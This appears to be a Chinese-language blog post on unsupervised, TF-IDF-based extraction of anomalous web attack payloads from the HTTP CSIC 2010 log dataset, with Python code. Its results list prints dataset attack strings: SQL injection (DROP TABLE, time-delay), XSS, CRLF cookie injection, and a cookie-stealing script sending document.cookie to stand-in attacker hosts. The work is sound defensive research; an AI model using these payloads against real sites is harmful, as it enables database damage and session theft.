討論 | 自動(dòng)化Web滲透Payload提取技術(shù)
一、寫在前面
做Web安全已經(jīng)三四年了,從最初的小白到今天的初探門路,小鮮肉已經(jīng)熬成了油膩大叔。Web安全是一個(gè)日新月異的朝陽領(lǐng)域,每天的互聯(lián)網(wǎng)上都在發(fā)生著從未暴露的0 Day和N Day攻擊。這時(shí)一個(gè)大家都意識到的重要問題就浮出水面了:如何能從海量Web訪問日志中把那一小撮異常請求撈出來,供安全人員分析或進(jìn)行自動(dòng)化實(shí)時(shí)阻斷和報(bào)警?
對于這個(gè)問題,傳統(tǒng)的方法是利用傳統(tǒng)的WAF(無機(jī)器學(xué)習(xí)引擎),進(jìn)行規(guī)則匹配。傳統(tǒng)WAF有其存在的意義,但也有其掣肘。首先,安全從業(yè)人員都懂,基于黑名單的防御往往存在各種被繞過的風(fēng)險(xiǎn),看看安全論壇里各式花樣打狗(安全狗)秘籍就可見一斑。其次,傳統(tǒng)WAF只能發(fā)現(xiàn)已知的安全攻擊行為或類型,對于新出現(xiàn)的攻擊存在更新延遲,維護(hù)上也有比較大的成本。我認(rèn)為這些問題都源于一個(gè)現(xiàn)實(shí)——傳統(tǒng)WAF不能對其保護(hù)的網(wǎng)站進(jìn)行建模,因此只能基于已知規(guī)則,對各式各樣的Web系統(tǒng)進(jìn)行統(tǒng)一的無差別的保護(hù)。
近年來,機(jī)器學(xué)習(xí)(包括深度學(xué)習(xí))高調(diào)闖入人們的視野,也逐步應(yīng)用在了信息安全領(lǐng)域?;跈C(jī)器學(xué)習(xí)的WAF相關(guān)論文和文章也看了一些,似乎大家都主要應(yīng)用了有監(jiān)督機(jī)器學(xué)習(xí),也都提到了一個(gè)問題:有標(biāo)記的攻擊數(shù)據(jù)集(黑樣本)難于大量獲取。而一小波提出無監(jiān)督異常檢測思路的文章,又會(huì)遇到精確度低的問題。
針對這些問題,我決定先進(jìn)行一些分解。既然直接預(yù)測整個(gè)請求是否是攻擊很難做到可接受的準(zhǔn)確率,不妨就先把異常的攻擊Payload找出來。找出來后,就可以用來進(jìn)行精準(zhǔn)的攻擊分析,還可以幫助優(yōu)化WAF規(guī)則等。本文所述的技術(shù)最大的優(yōu)勢是無監(jiān)督,無需先驗(yàn)規(guī)則即可自動(dòng)提取異常Payload。
項(xiàng)目GitHub: https://github.com/zhanghaoyil/Hawk-I (不斷完善中,歡迎貢獻(xiàn)代碼)
二、思路
要把異常參數(shù)找出來,最顯而易見要解決的問題就是如何量化請求中各參數(shù)的異常程度。為了最大化利用日志中蘊(yùn)含的需要保護(hù)的Web系統(tǒng)自身的結(jié)構(gòu)信息,我決定對請求按訪問路徑進(jìn)行拆解,即分析參數(shù)value在同路徑同參數(shù)Key的其他參數(shù)值中的異常程度。
具體算法步驟是:
1) 基于TF-IDF對不同路徑下的樣本分別進(jìn)行特征向量化,按參數(shù)維度對特征向量進(jìn)行匯聚。
2) 基于特征向量提取出樣本參數(shù)在同路徑同參數(shù)Key的其他參數(shù)值中異常分?jǐn)?shù)AS(Anomaly Score)。
3) 設(shè)置閾值T,取出AS大于T的異常參數(shù)值作為輸出。
三、數(shù)據(jù)集及預(yù)處理
本文使用HTTP CSIC 2010數(shù)據(jù)集。該數(shù)據(jù)集由西班牙最高科研理事會(huì)CSIC在論文Application of the Generic Feature Selection Measure in Detection of Web Attacks中作為附件給出的,是一個(gè)電子商務(wù)網(wǎng)站的訪問日志,包含36000個(gè)正常請求和25000多個(gè)攻擊請求。異常請求樣本中包含SQL注入、文件遍歷、CRLF注入、XSS、SSI等攻擊樣本。數(shù)據(jù)集下載鏈接:
http://www.isi.csic.es/dataset/ 。在本項(xiàng)目Github中也準(zhǔn)備好了。
HTTP CSIC 2010數(shù)據(jù)集單個(gè)樣本為如下格式:
- POST http://localhost:8080/tienda1/publico/anadir.jsp HTTP/1.1
- User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
- Pragma: no-cache
- Cache-control: no-cache
- Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,/;q=0.5
- Accept-Encoding: x-gzip, x-deflate, gzip, deflate
- Accept-Charset: utf-8, utf-8;q=0.5, *;q=0.5
- Accept-Language: en
- Host: localhost:8080
- Cookie: JSESSIONID=933185092E0B668B90676E0A2B0767AF
- Content-Type: application/x-www-form-urlencoded
- Connection: close
- Content-Length: 68
- id=3&nombre=Vino+Rioja&precio=100&cantidad=55&B1=A%F1adir+al+carrito
根據(jù)觀察,該數(shù)據(jù)集除路徑(URI)和參數(shù)外其他Header無任何攻擊Payload,具有很多冗余信息。因此對該數(shù)據(jù)集進(jìn)行格式化,只保留HTTP方法、路徑和參數(shù),轉(zhuǎn)為JSON格式方便后面使用。具體進(jìn)行了如下預(yù)處理,具體代碼見data/parse.py:
1) 去除冗余信息。
2) 執(zhí)行迭代的urldecode。
3) 生成標(biāo)準(zhǔn)化的參數(shù),將大小寫字母、數(shù)字分別轉(zhuǎn)換為a和n。同時(shí)保留原始參數(shù)和標(biāo)準(zhǔn)化的參數(shù),用于最終的Payload提取。
- def normalize(self, s, with_sub=True):
- #urldecode
- while True:
- new_s = parse.unquote(s, encoding='ascii', errors='ignore')
- if new_s == s:
- break
- else:
- s = new_s
- #normalize
- if withsub:
- s = re.sub('\ufffd', 'a', s)
- s = re.sub('[a-zA-Z]', 'a', s)
- s = re.sub('\d', 'n', s)
- s = re.sub('a+', 'a+', s)
- s = re.sub('n+', 'n+', s)
- s = re.sub(' ', '', s)
- return s
四、實(shí)現(xiàn)
根據(jù)算法步驟,項(xiàng)目主要分為向量化和參數(shù)異常評估和異常Payload提取兩部分。
1. 向量化和參數(shù)異常分?jǐn)?shù)
一個(gè)Web訪問記錄的成分是比較固定的,每個(gè)部分(方法、路徑、參數(shù)、HTTP頭、Cookie等)都有比較好的結(jié)構(gòu)化特點(diǎn)。因此可以把Web攻擊識別任務(wù)抽象為文本分類任務(wù),而且這種思路應(yīng)用在了安全領(lǐng)域,如有監(jiān)督的攻擊識別[1]、 XSS識別[2] 等。文本分類任務(wù)中常用的向量化手段有詞袋模型(Bag of Word,BOW)、TF-IDF模型、詞向量化(word2vec)等,兜哥的文章[3]已經(jīng)做了詳細(xì)的講解。
經(jīng)過對Web日志特點(diǎn)的分析,本文認(rèn)為使用TF-IDF來對樣本進(jìn)行向量化效果更好。一是經(jīng)過標(biāo)準(zhǔn)化后請求參數(shù)的值仍會(huì)有非常多的可能性,這種情況下詞袋模型生成的特征向量長度會(huì)非常大,而且沒法收縮;二是每個(gè)請求中參數(shù)個(gè)數(shù)有大有小,絕大多數(shù)不超過10個(gè),這個(gè)時(shí)候詞向量能表達(dá)的信息非常有限,并不能反映出參數(shù)value的異常性;三是TF-IDF可以表達(dá)出不同請求同一參數(shù)的值是否更有特異性,尤其是IDF項(xiàng)。
舉個(gè)例子, http://ip.taobao.com/ipSearch.html?ipAddr=8.8.8.8 是一個(gè)查詢IP詳細(xì)信息的頁面(真實(shí)存在),在某一段時(shí)間內(nèi)收到了10000個(gè)請求,其中9990個(gè)請求中ipAddr參數(shù)值是符合xx.xx.xx.xx這個(gè)IP的格式的,通過0×2中提到的標(biāo)準(zhǔn)化之后,也就是9990個(gè)請求的ipAddr參數(shù)為n+.n+.n+.n+ (當(dāng)然這里做了簡化,數(shù)字不一定為多位)。此外有10個(gè)請求的ipAddr是形如alert('XSS')、'or '1' = '1之類的不同的攻擊Payload。
經(jīng)過TF-IDF向量化后,那9900個(gè)請求ipAddr=n+.n+.n+.n+這一項(xiàng)的TF-IDF值:
- TF-IDF normal = TF * IDF = 1 * log(10000/(9990+1)) = 0.001
而出現(xiàn)ipAddr=alert('XSS')的請求的TF-IDF值:
- TF-IDF abnormal = TF * IDF = 1 * log(10000/(1+1)) = 8.517
可以看出異常請求參數(shù)value的TF-IDF是遠(yuǎn)大于正常請求的,因此TF-IDF可以很好地反映出參數(shù)value的異常程度。
熟悉TF-IDF的同學(xué)一定有疑問了,你這TF-IDF的字典也會(huì)很大呀,如果樣本量很大而且有各式各樣的參數(shù)value,你的特征向量豈不是稀疏得不行了?對于這個(gè)問題,我有一個(gè)解決方案,也就是將所有的TF-IDF進(jìn)一步加以處理,對參數(shù)key相同的TF-IDF項(xiàng)進(jìn)行求和。設(shè)參數(shù)key集合為K={k1, k2, …, kn},TF-IDF字典為集合x={x1, x2, …, xm}。則每個(gè)參數(shù)key的特征值為:
- vn = ∑TF-IDFxn xn∈{x | x startswith ‘kn=’}
具體代碼在vectorize/vectorizer.py中:
- for path, strs in path_buckets.items():
- if not strs:
- continue
- vectorizer = TfidfVectorizer(analyzer='word', token_pattern=r"(?u)\b\S\S+\b")
- try:
- tfidf = vectorizer.fit_transform(strs)
- #putting same key's indices together
- paramindex = {}
- for kv, index in vectorizer.vocabulary.items():
- k = kv.split('=')[0]
- if k in param_index.keys():
- param_index[k].append(index)
- else:
- param_index[k] = [index]
- #shrinking tfidf vectors
- tfidf_vectors = []
- for vector in tfidf.toarray():
- v = []
- for param, index in param_index.items():
- v.append(np.sum(vector[index]))
- tfidf_vectors.append(v)
- #other features
- other_vectors = []
- for str in strs:
- ov = []
- kvs = str.split(' ')[:-1]
- lengths = np.array(list(map(lambda x: len(x), kvs)))
- #param count
- ov.append(len(kvs))
- #mean kv length
- ov.append(np.mean(lengths))
- #max kv length
- ov.append(np.max(lengths))
- #min kv length
- ov.append(np.min(lengths))
- #kv length std
- ov.append(np.std(lengths))
- other_vectors.append(ov)
- tfidf_vectors = np.array(tfidf_vectors)
- other_vectors = np.array(other_vectors)
- vectors = np.concatenate((tfidf_vectors, other_vectors), axis=1)
這些特征向量能否充分反映樣本的異常性呢?我使用未調(diào)參的隨機(jī)森林模型進(jìn)行驗(yàn)證,得到了大于95%準(zhǔn)確率的結(jié)果,比較滿意。下圖是模型學(xué)習(xí)曲線,可以看出仍處于欠訓(xùn)練的狀態(tài),如果樣本量更充足的話將會(huì)得到更好的效果。
由于本文所述方法旨在使用無監(jiān)督學(xué)習(xí)提取異常參數(shù),并不用糾結(jié)于有監(jiān)督分類的結(jié)果,只要驗(yàn)證了提取的特征的確可以反映出參數(shù)的異常性即可。
2. 異常參數(shù)值提取
得到參數(shù)值的異常分?jǐn)?shù)下面的工作就簡單多了,主要就是:
- 數(shù)據(jù)的標(biāo)準(zhǔn)化(Standardization)
- 根據(jù)閾值確定異常參數(shù)
- 根據(jù)異常分?jǐn)?shù)在訓(xùn)練集矩陣的位置提取對應(yīng)的參數(shù)值
這部分沒有什么特別的邏輯,直接看代碼吧:
- if name == 'main':
- x = np.load(f"../vectorize/paths/~tienda1~publico~registro.jsp_x.npy")
- params = np.load(f"../vectorize/paths/~tienda1~publico~registro.jsp_params.npy")
- with open(f"../vectorize/paths/~tienda1~publico~registro.jsp_samples.json", 'r') as sf:
- samples = json.loads(sf.readline())
- #Standardization
- ases = StandardScaler().fit_transform(x[:, :len(params)])
- indices = ases > 6
- #extract anomalous payload
- for s in range(indices.shape[0]):
- for p in range(indices.shape[1]):
- if indices[s, p] and params[p] in samples[s]['OriParams'].keys() and samples[s]['OriParams'][params[p]].strip():
- print(f"##{params[p]}## ##{samples[s]['OriParams'][params[p]]}##")
提取結(jié)果:
- ##modo## ##registroalert("Paros");##
- ##modo## ##registroalert("Paros");##
- ##ntc## ##|##
- ##ntc## ##|##
- ##modo## ####
- ##modo## ####
- ##modo## ##registro' AND '1'='1##
- ##modo## ##registro' AND '1'='1##
- ##ntc## ##9851892046707743alert("Paros");##
- ##ntc## ##9851892046707743alert("Paros");##
- ##ntc## ##5024784015351535alert("Paros");##
- ##ntc## ##5024784015351535alert("Paros");##
- ##ntc## ##878731290934670A##
- ##ntc## ##878731290934670A##
- ##nombre## ##Remi'g/*io##
- ##nombre## ##Remi'g/*io##
- ##cp## ##1642A##
- ##cp## ##1642A##
- ##cp## ##any?
- Set-cookie:+Tamper=1041264011025374727##
- ##cp## ##any?
- Set-cookie:+Tamper=1041264011025374727##
- ##dni## ##'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%##
- ##dni## ##'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%##
- ##modo## ##registro@40##
- ##modo## ##registro@40##
- ##ntc## ##841140437746594A##
- ##ntc## ##841140437746594A##
- ##cp## ##31227Set-cookie:+Tamper=1041264011025374727##
- ##cp## ##31227Set-cookie:+Tamper=1041264011025374727##
- ##ntc## ##|##
- ##ntc## ##|##
- ##cp## ##paros"+style="background:url(javascript:alert('Paros'))&id=2##
- ##cp## ##paros"+style="background:url(javascript:alert('Paros'))&id=2##
- ##modo## ##|##
- ##modo## ##|##
- ##cp## ##4377A##
- ##cp## ##4377A##
- ##modo## ##+##
- ##modo## ##+##
- ##modo## ##' DELETE FROM USERS##
- ##modo## ##' DELETE FROM USERS##
- ##dni## ####
- ##dni## ####
- ##cp## ####
- ##cp## ####
- ##ntc## ##9812245040414546','0','0','0','0');waitfor delay '0:0:15';--##
- ##ntc## ##9812245040414546','0','0','0','0');waitfor delay '0:0:15';--##
- ##dni## ##684739141##
- ##dni## ##684739141##
- ##modo## ##registro' DELETE FROM USERS##
- ##modo## ##registro' DELETE FROM USERS##
- ##nombre## ##*Aitan/a##
- ##nombre## ##*Aitan/a##
- ##ntc## ##6995607131571243##
- ##ntc## ##6995607131571243##
- ##modo## ##registroalert("Paros");##
- ##modo## ##registroalert("Paros");##
- ##modo## ##','0','0','0');waitfor delay '0:0:15';--##
- ##modo## ##','0','0','0');waitfor delay '0:0:15';--##
- ##modo## ##registro';waitfor delay '0:0:15';--##
- ##modo## ##registro';waitfor delay '0:0:15';--##
- ##modo## ####
- ##modo## ####
- ##modo## ##registro"><##
- ##modo## ##registro"><##
- ##modo## ##'OR'a='a##
- ##modo## ##'OR'a='a##
- ##cp## ##any
- Set-cookie:+Tamper=5765205567234876235##
- ##cp## ##any
- Set-cookie:+Tamper=5765205567234876235##
- ##dni## ##66367222D'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%##
- ##dni## ##66367222D'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%##
- ##ntc## ##@40##
- ##ntc## ##@40##
- ##cp## ##AND 11=1##
- ##cp## ##AND 11=1##
- ##modo## ##registroAND 11=1##
- ##modo## ##registroAND 11=1##
- ##modo## ##+##
- ##modo## ##+##
- ##modo## ##registrobob@alert(Paros).parosproxy.org##
- ##modo## ##registrobob@alert(Paros).parosproxy.org##
- ##cp## ##any?
- Set-cookie:+Tamper=5765205567234876235##
- ##cp## ##any?
- Set-cookie:+Tamper=5765205567234876235##
- ##dni## ##paros"+style="background:url(javascript:alert('Paros'))&id=2##
- ##dni## ##paros"+style="background:url(javascript:alert('Paros'))&id=2##
- ##cp## ##44349','0');waitfor delay '0:0:15';--##
- ##cp## ##44349','0');waitfor delay '0:0:15';--##
- ##cp## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie##
- ##cp## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie##
- ##ntc## ##219312393915667A##
- ##ntc## ##219312393915667A##
- ##ntc## ##928497527479202A##
- ##ntc## ##928497527479202A##
- ##ntc## ##848868523325038A##
- ##ntc## ##848868523325038A##
- ##ntc## ##AND 11=1##
- ##ntc## ##AND 11=1##
- ##ntc## ## ##
- ##ntc## ## ##
- ##dni## ##B071B890B48F##
- ##dni## ##B071B890B48F##
- ##modo## ##registro##
- ##modo## ##registro##
- ##cp## ##26130any
- Set-cookie:+Tamper=5765205567234876235##
- ##cp## ##26130any
- Set-cookie:+Tamper=5765205567234876235##
- ##ntc## ##' AND '1'='1##
- ##ntc## ##' AND '1'='1##
- ##modo## ##registro ##
- ##modo## ##registro ##
- ##ntc## ##+##
- ##ntc## ##+##
- ##ntc## ##706790437347227A##
- ##ntc## ##706790437347227A##
- ##cp## ##+##
- ##cp## ##+##
- ##dni## ##';waitfor delay '0:0:15';--##
- ##dni## ##';waitfor delay '0:0:15';--##
- ##cp## ##44721bob@alert(Paros).parosproxy.org##
- ##cp## ##44721bob@alert(Paros).parosproxy.org##
- ##cp## ####
- ##cp## ####
- ##ntc## ##424959116693048A##
- ##ntc## ##424959116693048A##
- ##cp## ##bob@alert(Paros).parosproxy.org##
- ##cp## ##bob@alert(Paros).parosproxy.org##
- ##cp## ##31495bob@alert(Paros).parosproxy.org##
- ##cp## ##31495bob@alert(Paros).parosproxy.org##
- ##ntc## ##899062190611389A##
- ##ntc## ##899062190611389A##
- ##ntc## ##0602317509119469##
- ##ntc## ##0602317509119469##
- ##modo## ##','0');waitfor delay '0:0:15';--##
- ##modo## ##','0');waitfor delay '0:0:15';--##
- ##dni## ##' AND '1'='1##
- ##dni## ##' AND '1'='1##
- ##modo## ##registro','0','0','0','0');waitfor delay '0:0:15';--##
- ##modo## ##registro','0','0','0','0');waitfor delay '0:0:15';--##
- ##dni## ##64105812Mparos"+style="background:url(javascript:alert('Paros'))&id=2##
- ##dni## ##64105812Mparos"+style="background:url(javascript:alert('Paros'))&id=2##
- ##modo## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie##
- ##modo## ##sessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie##
- ##cp## ##22314','0','0');waitfor delay '0:0:15';--##
- ##cp## ##22314','0','0');waitfor delay '0:0:15';--##
- ##modo## ##sessionid=12312312& username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie?##
- ##modo## ##sessionid=12312312& username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie?##
- ##modo## ##registro@40##
- ##modo## ##registro@40##
- ##dni## ##35507034W" AND "1"="1##
- ##dni## ##35507034W" AND "1"="1##
- ##modo## ##registroSet-cookie:+Tamper=1041264011025374727##
- ##modo## ##registroSet-cookie:+Tamper=1041264011025374727##
- ##cp## ##','0','0','0','0');waitfor delay '0:0:15';--##
- ##cp## ##','0','0','0','0');waitfor delay '0:0:15';--##
- ##cp## ##08696paros" style="background:url(javascript:alert('Paros'))##
- ##cp## ##08696paros" style="background:url(javascript:alert('Paros'))##
- ##dni## ##paros" style="background:url(javascript:alert('Paros'))##
- ##dni## ##paros" style="background:url(javascript:alert('Paros'))##
- ##cp## ##0530A##
- ##cp## ##0530A##
- ##ntc## ##any
- Set-cookie:+Tamper=5765205567234876235##
- ##ntc## ##any
- Set-cookie:+Tamper=5765205567234876235##
- ##cp## ##0951A##
- ##cp## ##0951A##
- ##ntc## ##any?
- Set-cookie:+Tamper=5765205567234876235##
- ##ntc## ##any?
- Set-cookie:+Tamper=5765205567234876235##
- ##modo## ##registro"><##
- ##modo## ##registro"><##
- ##modo## ##registrosessionid=12312312& username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</s cript>?##
- ##modo## ##registrosessionid=12312312& username=<script>document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</s cript>?##
- ##cp## ##1883A##
- ##cp## ##1883A##
- ##ntc## ##1816581279872417'OR'a='a##
- ##ntc## ##1816581279872417'OR'a='a##
- ##modo## ##registrosessionid=12312312& username=<script>document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie##
- ##modo## ##registrosessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie##
- ##modo## ##');waitfor delay '0:0:15';--##
- ##modo## ##');waitfor delay '0:0:15';--##
- ##modo## ##registro'INJECTED_PARAM##
- ##modo## ##registro'INJECTED_PARAM##
- ##dni## ##83627503D','0','0','0');waitfor delay '0:0:15';--##
- ##dni## ##83627503D','0','0','0');waitfor delay '0:0:15';--##
- ##cp## ##1914A##
- ##cp## ##1914A##
- ##cp## ##35543' DELETE FROM USERS##
- ##cp## ##35543' DELETE FROM USERS##
- ##ntc## ##@40##
- ##ntc## ##@40##
- ##cp## ##alert("Paros");##
- ##cp## ##alert("Paros");##
- ##ntc## ##0358024000873525bob@alert(Paros).parosproxy.org##
- ##ntc## ##0358024000873525bob@alert(Paros).parosproxy.org##
- ##modo## ##|##
- ##modo## ##|##
- ##ntc## ##alert("Paros");##
- ##ntc## ##alert("Paros");##
- ##ntc## ##367411357982441A##
- ##ntc## ##367411357982441A##
- ##cp## ##';waitfor delay '0:0:15';--##
- ##cp## ##';waitfor delay '0:0:15';--##
- ##ntc## ##6031155114009786bob@alert(Paros).parosproxy.org##
- ##ntc## ##6031155114009786bob@alert(Paros).parosproxy.org##
- ##modo## ##|##
- ##modo## ##|##
- ##ntc## ##7238071991283064 ##
- ##ntc## ##7238071991283064 ##
- ##cp## ##0529A##
- ##cp## ##0529A##
- ##modo## ##'INJECTED_PARAM##
- ##modo## ##'INJECTED_PARAM##
- ##dni## ##+##
- ##dni## ##+##
- ##modo## ##registrosessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie##
- ##modo## ##registrosessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie##
- ##dni## ####
- ##dni## ####
- ##modo## ##registro@40##
- ##modo## ##registro@40##
- ##cp## ##46715alert("Paros");##
- ##cp## ##46715alert("Paros");##
- ##cp## ##08786Set-cookie:+Tamper=1041264011025374727##
- ##cp## ##08786Set-cookie:+Tamper=1041264011025374727##
- ##modo## ##alert("Paros");##
- ##modo## ##alert("Paros");##
- ##modo## ##"><##
- ##modo## ##"><##
- ##modo## ##registrosessionid=12312312& username=document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</s cript>?##
- ##modo## ##registrosessionid=12312312& username=<script>document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</s cript>?##
- ##ntc## ##1771682809315400' AND '1'='1##
- ##ntc## ##1771682809315400' AND '1'='1##
可以看到,至此已經(jīng)把異常參數(shù)值提取出來了,包括SQL注入、XSS、命令注入、CRLF注入、文件包含等典型的攻擊Payload。
五、后續(xù)計(jì)劃
這篇文章算是我在信息安全領(lǐng)域應(yīng)用機(jī)器學(xué)習(xí)一系列嘗試的第一篇,思路不算清奇,也沒有什么特別的難點(diǎn)。但我個(gè)人喜歡先抑后揚(yáng),不管怎么樣先把成果搞出來,然后再慢慢優(yōu)化和進(jìn)步嘛。路總是一步一步走的。
后面我打算還是在Web安全這個(gè)領(lǐng)域做一些機(jī)器學(xué)習(xí)應(yīng)用嘗試。這篇文章只是靜態(tài)地提取出異常Payload,而沒有利用到關(guān)鍵的Web系統(tǒng)結(jié)構(gòu)信息,包括訪問時(shí)序的特征,訪問來源主體(IP、UID、設(shè)備指紋等)、訪問分布的特征,我將充分利用這些信息,嘗試開發(fā)一個(gè)無規(guī)則化的簡易機(jī)器學(xué)習(xí)WAF。
參考鏈接: